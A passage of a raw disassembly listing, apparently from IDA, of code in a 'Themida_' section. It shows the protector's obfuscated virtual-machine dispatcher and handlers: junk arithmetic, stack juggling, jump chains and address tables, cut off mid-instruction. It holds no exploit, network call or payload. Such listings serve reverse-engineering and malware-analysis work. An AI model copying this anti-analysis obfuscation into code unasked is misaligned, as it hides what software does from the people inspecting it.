; CODE XREF: Themida_:0055B138j xor eax, 20424081h add edx, eax pop eax xchg edx, [esp] jmp loc_55D104 ; --------------------------------------------------------------------------- loc_55D2ED: ; CODE XREF: Themida_:0055A842j shr edi, 5 xor edi, 12A7BACh add esi, 57F061CBh sub esi, edi sub esi, 57F061CBh jmp loc_5559E7 ; --------------------------------------------------------------------------- loc_55D309: ; CODE XREF: Themida_:005568FCj push ebx push ecx mov ecx, 7ABF0179h neg ecx add ecx, 77FF43ADh add ecx, 31F4014Bh mov ebx, ecx pop ecx sub eax, ebx pop ebx add eax, esi jmp loc_557AE1 ; --------------------------------------------------------------------------- db 66h dd 5624048Bh, 0E904EC83h, 0FFFF976Dh ; --------------------------------------------------------------------------- loc_55D338: ; CODE XREF: Themida_:0055C9D2j mov ecx, 4E650CA1h shr ecx, 8 jmp loc_55B2B6 ; --------------------------------------------------------------------------- loc_55D345: ; CODE XREF: Themida_:00557C62j push dword ptr [esp] jmp loc_5514FD ; --------------------------------------------------------------------------- loc_55D34D: ; CODE XREF: Themida_:00559D92j add [esp+2], bx push bx push ecx mov cx, 6771h mov bx, cx jmp loc_55CB24 ; --------------------------------------------------------------------------- loc_55D361: ; CODE XREF: Themida_:00558D29j mov ecx, [esp] add esp, 4 jmp loc_5523B2 ; --------------------------------------------------------------------------- loc_55D36C: ; CODE XREF: Themida_:005579EEj mov ebx, esp push eax mov eax, 5F5E6F5Bh shr eax, 5 jmp loc_5595A2 ; --------------------------------------------------------------------------- loc_55D37C: ; CODE XREF: Themida_:0055835Fj pop ecx pop ebp push 5041h mov [esp], edx mov edx, 1B750AFEh not edx xor edx, 23405999h jmp loc_55B6E1 ; --------------------------------------------------------------------------- loc_55D398: ; CODE XREF: Themida_:00556822j neg ebp shl ebp, 2 xor ebp, 0A2080080h add eax, ebp pop ebp add eax, 4 xor eax, [esp] jmp loc_55B997 ; --------------------------------------------------------------------------- lodsd push edi mov edi, 4CAA34C7h add edi, 0F74C2E3Ah sub esi, edi pop edi sub esi, 50AE34A1h add esi, eax add esi, 50AE34A1h push edi push eax mov eax, 3B6B585Bh push eax not dword ptr [esp] pop eax jmp loc_55B3F9 ; --------------------------------------------------------------------------- loc_55D3E2: ; CODE XREF: Themida_:0055422Cj add eax, 799244Dh add eax, edi push esi mov esi, 6FA76F46h sub esi, 680E4AF9h jmp loc_55A7F1 ; --------------------------------------------------------------------------- loc_55D3FA: ; CODE XREF: Themida_:00559340j pop edx add ebx, 55A34E14h sub ebx, eax push ebp jmp loc_5556BC ; --------------------------------------------------------------------------- loc_55D409: ; CODE XREF: Themida_:00555DB3j push dword ptr [esp+4] pop esi pop dword ptr [esp] jmp loc_55D1D3 ; --------------------------------------------------------------------------- loc_55D416: ; CODE XREF: Themida_:00558865j mov ebx, 4 jmp loc_554AEB ; --------------------------------------------------------------------------- loc_55D420: ; CODE XREF: Themida_:0055601Fj btc [esp], ax pushf jmp loc_551368 ; --------------------------------------------------------------------------- loc_55D42B: ; CODE XREF: Themida_:0055A7ABj mov eax, [esp] add esp, 4 pop dword ptr [esp] jmp loc_5583D3 ; --------------------------------------------------------------------------- loc_55D439: ; CODE XREF: Themida_:00553EDDj mul ecx push ecx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ecx add ecx, 4 push ebp jmp loc_552EA3 ; --------------------------------------------------------------------------- loc_55D459: ; CODE XREF: Themida_:00555E76j mov [esp], ebx mov ebx, 4 add ecx, ebx jmp loc_55C615 ; --------------------------------------------------------------------------- loc_55D468: ; CODE XREF: Themida_:00556078j mov [esp], ecx push 6C34h mov [esp], ebp mov ebp, 14460E37h mov ecx, ebp mov ebp, [esp] add esp, 4 jmp loc_552D57 ; --------------------------------------------------------------------------- loc_55D488: ; CODE XREF: Themida_:00552C04j xor ebx, 0DCEC468Fh add esi, ebx pop ebx add esi, 2 jmp loc_557969 ; --------------------------------------------------------------------------- loc_55D49C: ; CODE XREF: Themida_:00552C34j add edx, 4 xchg edx, [esp] pop esp or eax, eax jz loc_55A255 push dword ptr [edi+1Ch] mov ecx, [esp] push ebx mov ebx, esp push eax push ecx mov ecx, 52615DDh jmp loc_556286 ; --------------------------------------------------------------------------- loc_55D4C3: ; CODE XREF: Themida_:0055B459j pop eax add esp, 4 jmp loc_551368 ; --------------------------------------------------------------------------- loc_55D4CC: ; CODE XREF: Themida_:00557468j xor eax, ecx xor eax, esi xor esi, eax xor eax, esi push edi jmp loc_55C770 ; --------------------------------------------------------------------------- loc_55D4DA: ; CODE XREF: Themida_:005597CEj add esi, ebx pop ebx shr esi, 5 sub esi, 17E032Eh add esi, 3C0212FCh jmp loc_5527EE ; --------------------------------------------------------------------------- loc_55D4F1: ; CODE XREF: Themida_:0055B9ADj add ebx, eax push dword ptr [esp] pop eax jmp loc_553559 ; --------------------------------------------------------------------------- loc_55D4FC: ; CODE XREF: Themida_:005596CBj shl ebp, 2 xchg edi, ebp not edi xchg edi, ebp shl ebp, 2 not ebp sub ebp, 0D446C38Bh sub edi, ebp pop ebp xor edi, 0FDA65AA0h or ebp, edi mov edi, [esp] add esp, 4 jmp loc_5569BA ; --------------------------------------------------------------------------- loc_55D526: ; CODE XREF: Themida_:0055348Ej jmp loc_551368 ; --------------------------------------------------------------------------- loc_55D52B: ; CODE XREF: Themida_:00555294j mov esi, esp add esi, 4 add esi, 4 jmp loc_557A60 ; --------------------------------------------------------------------------- loc_55D53B: ; CODE XREF: Themida_:00557301j shl esi, 7 add esi, 1 jmp loc_553753 ; --------------------------------------------------------------------------- dw 304h dd 24677FFEh, 9345FFFFh, 69DDFA2Ch, 6C8B00A1h, 5Bh, 0A7080000h dd 207FFFFh, 20000h, 10000h, 30000h, 93450000h, 0FA2Ch dd 4 dup(0) dd 5A800000h, 13130056h, 24480056h, 30DE0056h, 2C4A0056h dd 84870056h, 18450056h, 0A2600057h, 68F50056h, 28880056h dd 0EEA50056h, 0A96B0056h, 444A0056h, 77E30056h, 0FC2B0056h dd 0DC8F0056h, 215C0055h, 0CD540057h, 3940056h, 7A3B0057h dd 914E0056h, 92400056h, 0EF450056h, 0D4F00056h, 6AF30056h dd 29EA0056h, 1C130056h, 0F4EE0056h, 4FEB0055h, 44C50056h dd 0F8B30056h, 70330056h, 41D0056h, 468E0056h, 10110056h dd 1E720057h, 9E60057h, 17A50057h, 5B710056h, 26380056h dd 37800056h, 23420056h, 0DBF90056h, 0E3D10056h, 42F60055h dd 99280056h, 0F4640056h, 80710055h, 22B20056h, 0B35C0056h dd 0D2420056h, 277E0056h, 5E040056h, 0B9630056h, 35830056h dd 5D7B0056h, 0F430056h, 0C4880056h, 0E6540056h, 0FC820055h dd 44200055h, 0D74F0056h, 0B0690056h, 240F0056h, 0EBC10057h dd 22680055h, 0D5720057h, 0F9440056h, 9E610056h, 49B50056h dd 8EEA0056h, 0F5DC0056h, 0CE6D0055h, 0D8700056h, 47670056h dd 0C39B0056h, 0D590056h, 1EDC0056h, 36750056h, 52830056h dd 0D7760056h, 6ED90056h, 0E0F20056h, 0DF830055h, 899A0055h dd 8950056h, 0E2620057h, 0D6BB0055h, 0FFC80056h, 7FA0056h dd 0A9FA0056h, 1DF0056h, 5BF10056h, 5F7C0056h, 0E1680056h dd 92C0055h, 0A5CD0057h, 12A60056h, 17900057h, 7F60057h dd 0FBF70057h, 0C90055h, 14E60057h, 6580057h, 57CF0057h dd 188E0056h, 0EE0A0057h, 67B90056h, 301F0056h, 63520056h dd 0EB10056h, 158A0056h, 2B30056h, 10EE0056h, 3870057h dd 26F60056h, 0CFFE0056h, 348F0056h, 15D30056h, 1AF00057h dd 1DB70056h, 0B3F90056h, 0FC130056h, 787C0055h, 0C93C0056h dd 46020056h, 8CAA0056h, 0C740056h, 0E48E0057h, 0E4D40056h dd 504B0055h, 17640056h, 146F0056h, 0F4F20057h, 0F32C0056h dd 46D20056h, 5FD20056h, 0C46C0056h, 18FB0056h, 84AC0057h dd 0F7360056h, 84E0055h, 1FCA0056h, 734F0056h, 0B5B40056h dd 39310056h, 70740056h, 385E0056h, 0E05A0056h, 0D6630056h dd 0CE0A0056h, 18E20056h, 27B80056h, 4C9D0056h, 6D30056h dd 4B0B0057h, 571C0056h, 0CFB80056h, 83C00056h, 0B290056h dd 39790057h, 3F10056h, 0A5790056h, 2B4C0056h, 0AB810056h dd 0AECC0056h, 0E8050056h db 56h, 0 ; --------------------------------------------------------------------------- loc_55D826: ; CODE XREF: Themida_:005A29C3j ; Themida_:005A29CDj ... pusha pushf cld call $+5 pop edi sub edi, 62944E9h mov eax, edi add edi, 6294201h cmp eax, [edi+2Ch] jnz short loc_55D844 jmp short loc_55D857 ; --------------------------------------------------------------------------- loc_55D844: ; CODE XREF: Themida_:0055D840j mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_55D853 ; --------------------------------------------------------------------------- loc_55D84E: ; CODE XREF: Themida_:0055D855j add [edi+ecx*4+40h], eax dec ecx loc_55D853: ; CODE XREF: Themida_:0055D84Cj or ecx, ecx jnz short loc_55D84E loc_55D857: ; CODE XREF: Themida_:0055D842j mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_55D864: ; CODE XREF: Themida_:0055D86Bj xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_55D864 loc_55D86D: ; CODE XREF: Themida_:0055DB27j ; Themida_:0055DC99j ... lodsb jmp loc_55F3F0 ; --------------------------------------------------------------------------- loc_55D873: ; CODE XREF: Themida_:0055EA5Ej mov ebp, 4 sub ecx, ebp jmp loc_5718E7 ; --------------------------------------------------------------------------- loc_55D87F: ; CODE XREF: Themida_:0056CDE4j add esp, 4 xor esi, [esp] xor [esp], esi jmp loc_56D33B ; --------------------------------------------------------------------------- loc_55D88D: ; CODE XREF: Themida_:0057035Ej xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp jmp loc_568FE5 ; --------------------------------------------------------------------------- loc_55D89C: ; CODE XREF: Themida_:00568C7Cj add esi, 4 xchg esi, [esp] pop esp jmp loc_56C309 ; --------------------------------------------------------------------------- loc_55D8AB: ; CODE XREF: Themida_:0055EBFAj add esi, 6756A791h add ecx, esi pop esi jmp loc_565CF1 ; --------------------------------------------------------------------------- loc_55D8B9: ; CODE XREF: Themida_:0055E9FCj mov edx, 6C8E62C7h xor edx, edi xor edi, edx xor edx, edi neg edi xchg edi, edx jmp loc_5621C0 ; --------------------------------------------------------------------------- loc_55D8CD: ; CODE XREF: Themida_:0056A3D2j mov ebx, [esp] jmp loc_567F71 ; --------------------------------------------------------------------------- loc_55D8D5: ; CODE XREF: Themida_:005668B7j inc edx jmp loc_5717EB ; --------------------------------------------------------------------------- loc_55D8DB: ; CODE XREF: Themida_:0056753Cj add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_5681D8 ; --------------------------------------------------------------------------- loc_55D8EC: ; CODE XREF: Themida_:00563379j mov bx, [esp] add esp, 2 jmp loc_55E2F3 ; --------------------------------------------------------------------------- loc_55D8F8: ; CODE XREF: Themida_:00563494j push esp pop ebx add ebx, 4 sub ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_56EF6F ; --------------------------------------------------------------------------- loc_55D914: ; CODE XREF: Themida_:00565144j pop ebx jmp loc_5673FA ; --------------------------------------------------------------------------- loc_55D91A: ; CODE XREF: Themida_:005668DAj mov ebx, 2 add esi, 1DEE3B43h add esi, ebx push eax mov eax, 1DEE3B43h jmp loc_55DCF2 ; --------------------------------------------------------------------------- loc_55D932: ; CODE XREF: Themida_:0055F6A1j mov [esp], ebp push eax mov eax, 226C2CA9h and eax, 10E15E06h shl eax, 8 and eax, 344558DCh not eax add eax, 8E8C35B1h mov ebp, eax pop eax shl ebp, 3 or ebp, 6DF45932h add ebp, 9C892A60h add edx, 68B827F1h add edx, ebp jmp loc_562154 ; --------------------------------------------------------------------------- loc_55D96E: ; CODE XREF: Themida_:00564ADFj push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] sar byte ptr [esp], cl pushf jmp loc_560D84 ; --------------------------------------------------------------------------- loc_55D982: ; CODE XREF: Themida_:00567DCAj push dword ptr [esp] pop ecx jmp loc_56217A ; --------------------------------------------------------------------------- loc_55D98B: ; CODE XREF: Themida_:005601DAj push edx push 467A71A5h pop edx and ebp, edx push dword ptr [esp] pop edx add esp, 4 sub ebp, 452919B1h jmp loc_56DFFE ; --------------------------------------------------------------------------- loc_55D9A6: ; CODE XREF: Themida_:0056BEA1j pop ebp jmp loc_570D56 ; --------------------------------------------------------------------------- loc_55D9AC: ; CODE XREF: Themida_:0056C70Dj dec ebp shr ebp, 4 inc ebp jmp loc_55E2E0 ; --------------------------------------------------------------------------- loc_55D9B6: ; CODE XREF: Themida_:00564A9Bj xor edx, ebp pop ebp push edx sub dword ptr [esp], 5925117Fh pop ebx add ebx, 5925117Fh pop edx add edx, ebx pop ebx sub edx, 7CDE3583h or ebx, edx pop edx sub ebx, 5E75CA5h sub ebx, 2CA95063h push edi mov edi, 7A160C96h sub edi, 4E98647Dh xor edi, 4FC92526h not edi jmp loc_561D7F ; --------------------------------------------------------------------------- loc_55D9FA: ; CODE XREF: Themida_:00566EABj dec ebx jmp loc_5657E7 ; --------------------------------------------------------------------------- loc_55DA00: ; CODE XREF: Themida_:0056D67Dj add [esp+4], edi sub dword ptr [esp+4], 2EA37E54h jmp loc_571EBD ; --------------------------------------------------------------------------- loc_55DA11: ; CODE XREF: Themida_:0056F75Dj push edi mov edi, esp add edi, 4 add edi, 4 push 594Eh mov [esp], edi push dword ptr [esp+4] jmp loc_56F986 ; --------------------------------------------------------------------------- loc_55DA31: ; CODE XREF: Themida_:00561B3Dj inc ebx jmp loc_56010F ; --------------------------------------------------------------------------- loc_55DA37: ; CODE XREF: Themida_:00569C46j push ebx mov ebx, 5FF76E7Bh xor ebx, 5FF76E7Fh sub ecx, ebx mov ebx, [esp] add esp, 4 push ecx push dword ptr [esp+4] jmp loc_56E0CC ; --------------------------------------------------------------------------- loc_55DA58: ; CODE XREF: Themida_:0056ED1Ej push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_56297A ; --------------------------------------------------------------------------- loc_55DA6C: ; CODE XREF: Themida_:0056DF00j pop esp mov [esp], edi push eax push 0FD6E17h mov eax, [esp] add esp, 4 add eax, 11DC112Ch neg eax push esi push ecx mov ecx, 59586072h mov esi, 467EE12Bh sub esi, 68EE38C3h jmp loc_560D94 ; --------------------------------------------------------------------------- loc_55DA9D: ; CODE XREF: Themida_:005637F4j pop ebp shr ebp, 7 or ebp, 555503FBh shr ebp, 1 sub ebp, 0FFFFFFFFh xor ebp, 7336A6CAh sub esp, 4 mov [esp], ebx push edi push esi jmp loc_55F2DA ; --------------------------------------------------------------------------- loc_55DABF: ; CODE XREF: Themida_:005612C1j push edi push eax mov eax, 0E493A9Ah mov edi, 3541249Ah add edi, eax pop eax push edi inc dword ptr [esp] pop edi jmp loc_570E49 ; --------------------------------------------------------------------------- loc_55DAD8: ; CODE XREF: Themida_:0056AACCj xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp jmp loc_56A6F5 ; --------------------------------------------------------------------------- loc_55DAE7: ; CODE XREF: Themida_:00566766j add eax, ebx mov ebx, [esp] add esp, 4 push eax push ebp mov ebp, 16A05B4h jmp loc_57248B ; --------------------------------------------------------------------------- loc_55DAFB: ; CODE XREF: Themida_:0057067Aj push dword ptr [esp+4] mov edi, [esp] push ebx jmp loc_56CF3F ; --------------------------------------------------------------------------- loc_55DB08: ; CODE XREF: Themida_:0055E832j add esp, 2 xor ah, 0F9h add bl, ah pop eax jmp loc_56E237 ; --------------------------------------------------------------------------- loc_55DB19: ; CODE XREF: Themida_:0057061Fj pop ebp pop dword ptr [esp] mov esp, [esp] mov [esp], dx push ax pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_55DB2C: ; CODE XREF: Themida_:0055EFA3j mov [esp+5], dh pop edx mov dx, [esp] jmp loc_56501B ; --------------------------------------------------------------------------- loc_55DB3A: ; CODE XREF: Themida_:0056E0A8j xor al, 76h jmp loc_566EB0 ; --------------------------------------------------------------------------- loc_55DB41: ; CODE XREF: Themida_:0056922Bj xchg ebx, [esp] jmp loc_562FE9 ; --------------------------------------------------------------------------- loc_55DB49: ; CODE XREF: Themida_:0055F65Bj and eax, edx push dword ptr [esp] mov edx, [esp] sub esp, 4 mov [esp], eax jmp loc_55E615 ; --------------------------------------------------------------------------- loc_55DB5C: ; CODE XREF: Themida_:00569524j add ch, 7Dh not ch xor ch, 0B7h xor bh, ch push dword ptr [esp] pop ecx push ebx mov ebx, esp jmp loc_5696B7 ; --------------------------------------------------------------------------- loc_55DB72: ; CODE XREF: Themida_:0056AA40j push dword ptr [esp+4] pop edi jmp loc_571DC4 ; --------------------------------------------------------------------------- loc_55DB7C: ; CODE XREF: Themida_:005727AAj not ebp jmp loc_5679CD ; --------------------------------------------------------------------------- loc_55DB83: ; CODE XREF: Themida_:0056DAF1j xor ch, 6Ch or dl, ch pop ecx xor dl, 0FBh jmp loc_566B30 ; --------------------------------------------------------------------------- loc_55DB91: ; CODE XREF: Themida_:0056271Aj push edi mov edi, esp add edi, 4 push eax mov eax, 4 jmp loc_5690A5 ; --------------------------------------------------------------------------- loc_55DBA5: ; CODE XREF: Themida_:00569855j mov [esp], esp push eax mov eax, 4 add [esp+4], eax jmp loc_57178A ; --------------------------------------------------------------------------- loc_55DBB7: ; CODE XREF: Themida_:0055EEFCj pop dword ptr [esp] jmp loc_567541 ; --------------------------------------------------------------------------- loc_55DBBF: ; CODE XREF: Themida_:00562CFFj add al, bl jmp loc_5629C6 ; --------------------------------------------------------------------------- loc_55DBC6: ; CODE XREF: Themida_:005648B9j add al, bl pop ebx jmp loc_55FD21 ; --------------------------------------------------------------------------- loc_55DBCE: ; CODE XREF: Themida_:00571B3Dj xor ah, bh mov ebx, [esp] add esp, 4 sub ah, 0DFh sub bl, ah pop eax movzx eax, al lea eax, [edi+eax*4] push 0F71h mov [esp], edi mov edi, esp jmp loc_564812 ; --------------------------------------------------------------------------- loc_55DBF4: ; CODE XREF: Themida_:0055F5A9j push 3228h jmp loc_57157C ; --------------------------------------------------------------------------- loc_55DBFE: ; CODE XREF: Themida_:0057247Dj xor ebx, 4E710BB1h jmp loc_5722DC ; --------------------------------------------------------------------------- loc_55DC09: ; CODE XREF: Themida_:0056F0EEj sub edx, eax pop eax jmp loc_55F67E ; --------------------------------------------------------------------------- loc_55DC11: ; CODE XREF: Themida_:0056AB03j push edi mov edi, 3436BECh shl edi, 6 shr edi, 4 inc edi add edi, 1 or edi, 3F853EB7h xor edi, 12FFC223h mov ebx, edi pop edi jmp loc_562C3C ; --------------------------------------------------------------------------- loc_55DC35: ; CODE XREF: Themida_:00571CFBj mov edx, [esp] add esp, 4 push 7BF3h mov [esp], ebp jmp loc_57061B ; --------------------------------------------------------------------------- loc_55DC48: ; CODE XREF: Themida_:0055FBC3j sub esp, 4 mov [esp], esi jmp loc_56FED7 ; --------------------------------------------------------------------------- loc_55DC53: ; CODE XREF: Themida_:00567B8Ej add ebp, 3B4C210Ch xor ebx, ebp pop ebp sub edx, 255D743Dh add edx, ebx add edx, 255D743Dh pop ebx inc edx jmp loc_55E885 ; --------------------------------------------------------------------------- loc_55DC71: ; CODE XREF: Themida_:0056E53Bj add eax, ecx pop ecx add eax, edx sub eax, 2B1815CFh pop edx xor eax, [esp] xor [esp], eax jmp loc_563E58 ; --------------------------------------------------------------------------- loc_55DC87: ; CODE XREF: Themida_:0056968Cj xor ch, 2Ah jmp loc_5686A6 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr dword ptr [esp], cl pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_55DC9E: ; CODE XREF: Themida_:00563BB6j mov edi, [esp] add esp, 4 push 72FDh mov [esp], esi mov esi, 4A787D16h jmp loc_570EEB ; --------------------------------------------------------------------------- loc_55DCB9: ; CODE XREF: Themida_:00562975j mov [esp], edx jmp loc_5670C6 ; --------------------------------------------------------------------------- loc_55DCC1: ; CODE XREF: Themida_:005644DEj mov ecx, ebx pop ebx and ebx, ecx push dword ptr [esp] jmp loc_568AAB ; --------------------------------------------------------------------------- loc_55DCCE: ; CODE XREF: Themida_:0056370Bj mov esp, [esp] sub eax, 51567E26h add eax, ecx push edi mov edi, 0B335E96h shl edi, 7 sub edi, 4858CCDAh jmp loc_55E05F ; --------------------------------------------------------------------------- loc_55DCEC: ; CODE XREF: Themida_:0056EE15j push edx jmp loc_56F8BF ; --------------------------------------------------------------------------- loc_55DCF2: ; CODE XREF: Themida_:0055D92Dj sub esi, eax pop eax pop ebx push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] imul cl movzx cx, ah push small 6A20h mov [esp], cx movzx cx, al push cx pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_55DD1C: ; CODE XREF: Themida_:0056CB8Aj add ebp, 7C044395h jmp loc_56B85D ; --------------------------------------------------------------------------- loc_55DD27: ; CODE XREF: Themida_:0056D62Cj push ebp mov ebp, 4BBF21ABh add dword ptr [esp+8], 5E620580h jmp loc_570C3C ; --------------------------------------------------------------------------- loc_55DD3A: ; CODE XREF: Themida_:00563DA6j mov bh, 3Ch sub esp, 2 jmp loc_56CA1C ; --------------------------------------------------------------------------- loc_55DD44: ; CODE XREF: Themida_:005714B1j push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_56DF7C ; --------------------------------------------------------------------------- loc_55DD59: ; CODE XREF: Themida_:00561C9Dj push eax mov ah, 0F4h push ecx mov ch, 7Fh jmp loc_562129 ; --------------------------------------------------------------------------- loc_55DD64: ; CODE XREF: Themida_:0056B357j mov [esp], cx mov cl, 1 add bh, cl pop cx push ebx jmp loc_565FFE ; --------------------------------------------------------------------------- loc_55DD74: ; CODE XREF: Themida_:0057221Cj push ecx mov ecx, 7557765Ah jmp loc_56F55E ; --------------------------------------------------------------------------- loc_55DD7F: ; CODE XREF: Themida_:0055FA61j pop ebx jmp loc_562D0A ; --------------------------------------------------------------------------- loc_55DD85: ; CODE XREF: Themida_:0056D3A5j mov [esp], ebp push ecx mov ecx, 0C5370E2h jmp loc_56DE1F ; --------------------------------------------------------------------------- loc_55DD93: ; CODE XREF: Themida_:0056F408j sub ebx, 2BAD6170h push edx push 0 pop edx add edx, ebx push ecx mov ch, al jmp loc_566F70 ; --------------------------------------------------------------------------- loc_55DDAA: ; CODE XREF: Themida_:00565548j mov [esp], ecx mov ecx, 1BF360DFh inc ecx dec ecx inc ecx sub ecx, 1BF360DCh add eax, ecx pop ecx xchg eax, [esp] pop esp add ecx, 4 push eax mov eax, 2 add ecx, 76343262h sub ecx, eax jmp loc_5693E3 ; --------------------------------------------------------------------------- loc_55DDDB: ; CODE XREF: Themida_:00571849j push 1DB0h mov [esp], ebx mov ebx, esp jmp loc_57275D ; --------------------------------------------------------------------------- loc_55DDEA: ; CODE XREF: Themida_:00563EE4j pop esi add ebx, eax jmp loc_56EB7F ; --------------------------------------------------------------------------- loc_55DDF2: ; CODE XREF: Themida_:0056C871j pop ebx jmp loc_561B9C ; --------------------------------------------------------------------------- loc_55DDF8: ; CODE XREF: Themida_:0056F52Aj push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] push ecx mov ecx, 2E0977E8h dec ecx shr ecx, 1 jmp loc_56185B ; --------------------------------------------------------------------------- loc_55DE11: ; CODE XREF: Themida_:005726BCj mov ax, [esp] push 49B2h mov [esp], ebp jmp loc_565C26 ; --------------------------------------------------------------------------- loc_55DE22: ; CODE XREF: Themida_:0056CD8Dj add edx, 434C2FF9h add edx, eax jmp loc_56A412 ; --------------------------------------------------------------------------- loc_55DE2F: ; CODE XREF: Themida_:00565C21j mov ebx, esp push eax push 4 pop eax add ebx, eax mov eax, [esp] add esp, 4 add ebx, 4 xor ebx, [esp] jmp loc_564933 ; --------------------------------------------------------------------------- loc_55DE51: ; CODE XREF: Themida_:0055F275j pop edi mov edx, [esp] add esp, 4 add ecx, edi pop edi push 557Eh mov [esp], ebp push edi mov edi, 4 mov ebp, edi pop edi add ecx, 4E9C1DCDh sub ecx, ebp sub ecx, 4E9C1DCDh pop ebp push 2FC7h mov [esp], ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] jmp loc_56EE57 ; --------------------------------------------------------------------------- loc_55DE93: ; CODE XREF: Themida_:00571C11j inc dword ptr [esp] pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_55DE9C: ; CODE XREF: Themida_:005610D5j mov ecx, 4 add eax, ecx jmp loc_56AA51 ; --------------------------------------------------------------------------- loc_55DEA8: ; CODE XREF: Themida_:005680D2j xchg edx, [esp] pop esp jmp loc_55D86D ; --------------------------------------------------------------------------- loc_55DEB1: ; CODE XREF: Themida_:0056F0C3j xor ebx, [esp] pop esp push ecx push eax jmp loc_565697 ; --------------------------------------------------------------------------- loc_55DEBC: ; CODE XREF: Themida_:00569559j mov edi, 4E241701h add esi, edi pop edi push 4081h mov [esp], esi push 25E308FBh push dword ptr [esp] jmp loc_56A7AD ; --------------------------------------------------------------------------- loc_55DED9: ; CODE XREF: Themida_:005602BFj not edi xchg edi, ebx xchg ebx, edi and edi, 297F63A7h jmp loc_5710C0 ; --------------------------------------------------------------------------- loc_55DEEA: ; CODE XREF: Themida_:00561ADAj push dword ptr [esp] jmp loc_56943B ; --------------------------------------------------------------------------- loc_55DEF2: ; CODE XREF: Themida_:00570AEAj jmp loc_55D86D ; --------------------------------------------------------------------------- loc_55DEF7: ; CODE XREF: Themida_:0056BACAj push edi mov edi, 1F8057F3h jmp loc_56D8C5 ; --------------------------------------------------------------------------- loc_55DF02: ; CODE XREF: Themida_:0056A7CBj push edi jmp loc_56AAE3 ; --------------------------------------------------------------------------- loc_55DF08: ; CODE XREF: Themida_:00570806j add dword ptr [esp], 4 pop edi push ebp jmp loc_56F0E2 ; --------------------------------------------------------------------------- loc_55DF13: ; CODE XREF: Themida_:00564B24j push ebx mov ebx, 6D8225B7h add ebx, 1 shl ebx, 3 not ebx jmp loc_55F009 ; --------------------------------------------------------------------------- loc_55DF29: ; CODE XREF: Themida_:005668A7j push esp pop esi add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_56E23F ; --------------------------------------------------------------------------- loc_55DF40: ; CODE XREF: Themida_:00570153j sub ebp, esi jmp loc_564FF9 ; --------------------------------------------------------------------------- loc_55DF47: ; CODE XREF: Themida_:0056C7FCj add esp, 4 add eax, ebx mov ebx, [esp] add esp, 4 push 39E6h mov [esp], eax push dword ptr [esp+4] jmp loc_568869 ; --------------------------------------------------------------------------- loc_55DF69: ; CODE XREF: Themida_:0056D487j mov [esp], esi mov esi, 8000h and eax, esi mov esi, [esp] jmp loc_564008 ; --------------------------------------------------------------------------- loc_55DF7B: ; CODE XREF: Themida_:0056B2FAj shr eax, 7 jmp loc_563A10 ; --------------------------------------------------------------------------- push dword ptr [edi+3Ch] jmp loc_56B3BC ; --------------------------------------------------------------------------- loc_55DF8B: ; CODE XREF: Themida_:00566342j mov esi, 6A1D5B7Eh or esi, 101072D4h add esi, 75D97E35h sub esi, 1 sub esi, 76DB28D1h not esi add esi, 791BD166h jmp loc_56CD4D ; --------------------------------------------------------------------------- loc_55DFB5: ; CODE XREF: Themida_:0056A1F9j pop esp jmp loc_55FEFD ; --------------------------------------------------------------------------- loc_55DFBB: ; CODE XREF: Themida_:00566977j pop ecx push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] shl bl, 8 add bl, 1 xchg ah, bl jmp loc_55F848 ; --------------------------------------------------------------------------- loc_55DFD5: ; CODE XREF: Themida_:00570D75j mov edx, 4 jmp loc_567D66 ; --------------------------------------------------------------------------- loc_55DFDF: ; CODE XREF: Themida_:0055F052j add esp, 4 sub dl, 90h push eax push ecx mov cl, dl jmp loc_56230C ; --------------------------------------------------------------------------- loc_55DFF1: ; CODE XREF: Themida_:0056BDEEj mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp add edi, 2 xchg edi, [esp] pop esp mov dx, [esp] push edx push 5F6Ah jmp loc_56B6C4 ; --------------------------------------------------------------------------- loc_55E019: ; CODE XREF: Themida_:00561CBAj add edi, 0FFFFFFFFh sub edi, 6B3694B8h xor esi, edi pop edi add ebp, esi pop esi add ebp, 4 push 2FCEh mov [esp], ebp jmp loc_568833 ; --------------------------------------------------------------------------- loc_55E03E: ; CODE XREF: Themida_:0057092Fj push 0B534AB7h pop edx neg edx jmp loc_56758E ; --------------------------------------------------------------------------- loc_55E04B: ; CODE XREF: Themida_:0055FDC6j push 29Ah mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] jmp loc_56F0F3 ; --------------------------------------------------------------------------- loc_55E05F: ; CODE XREF: Themida_:0055DCE7j add eax, edi pop edi pop ecx push ecx mov ecx, 20120F3h push ecx inc dword ptr [esp] pop ecx add ecx, 24936785h jmp loc_56C1C8 ; --------------------------------------------------------------------------- loc_55E079: ; CODE XREF: Themida_:005701A0j pop dword ptr [esp] jmp loc_55E9D6 ; --------------------------------------------------------------------------- loc_55E081: ; CODE XREF: Themida_:0055E980j or edi, eax mov eax, [esp] add esp, 4 jmp loc_560872 ; --------------------------------------------------------------------------- loc_55E091: ; CODE XREF: Themida_:00568772j pop edi pop ebp push ebp xchg ecx, [esp] sub esp, 4 mov [esp], ecx xchg esi, [esp] not esi xchg esi, [esp] jmp loc_5700E2 ; --------------------------------------------------------------------------- loc_55E0AD: ; CODE XREF: Themida_:00561CE3j add ecx, 58E6042Ah pop eax push ecx pop ebp pop ecx dec ebp not ebp sub ebp, 6E8D2A79h and ebp, 708D4052h inc ebp xor ebp, 